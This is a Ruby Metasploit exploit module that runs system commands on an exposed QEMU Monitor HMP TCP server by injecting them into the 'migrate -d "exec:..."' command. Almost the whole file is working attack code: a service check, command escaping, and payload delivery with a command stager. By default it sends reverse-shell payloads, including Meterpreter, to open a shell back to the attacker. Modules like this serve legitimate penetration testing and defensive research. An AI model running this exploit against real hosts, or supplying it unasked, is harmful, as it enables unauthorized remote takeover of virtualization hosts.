##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
        'Description' => %q{
          This module uses QEMU's Monitor Human Monitor Interface (HMP)
          TCP server to execute system commands using the `migrate` command.

          This module has been tested successfully on QEMU version 6.2.0
          on Ubuntu 20.04.
        },
        'License' => MSF_LICENSE,
        'Author' => ['bcoles'],
        'References' => [
          ['URL', 'https://wiki.qemu.org/ToDo/HMP'],
          ['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
          ['URL', 'https://www.qemu.org/docs/master/system/security.html'],
          ['URL', 'https://www.linux-kvm.org/page/Migration'],
        ],
        'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
        'Platform' => %w[unix linux],
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => "\x00\x0a\x0d\x22",
          'Space' => 1010
        },
        'Targets' => [
          [
            'Unix (Command)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
                'PrependFork' => true,
                'MeterpreterTryToFork' => true
              },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'Privileged' => false,
        'DisclosureDate' => '2011-12-02'
      )
    )
  end

  def read_until_prompt
    ::Timeout.timeout(10) do
      loop do
        res = sock.get_once
        break if res.nil?
        break if res.to_s.include?('(qemu)')
      end
    end
  end

  def check
    connect
    banner = sock.get_once.to_s
    disconnect

    unless banner.include?('QEMU') && banner.include?('monitor')
      return CheckCode::Safe('Service is not QEMU monitor HMP.')
    end

    CheckCode::Appears('QEMU monitor HMP service is running.')
  end

  def execute_command(cmd, _opts = {})
    cmd = cmd.gsub('\\', '\\\\\\')
    vprint_status("Executing command: #{cmd}")
    sock.put("migrate -d \"exec:#{cmd}\"\n")
    read_until_prompt
  end

  def exploit
    connect
    read_until_prompt

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 1010, background: true)
    end
  ensure
    disconnect unless sock.nil?
  end
end
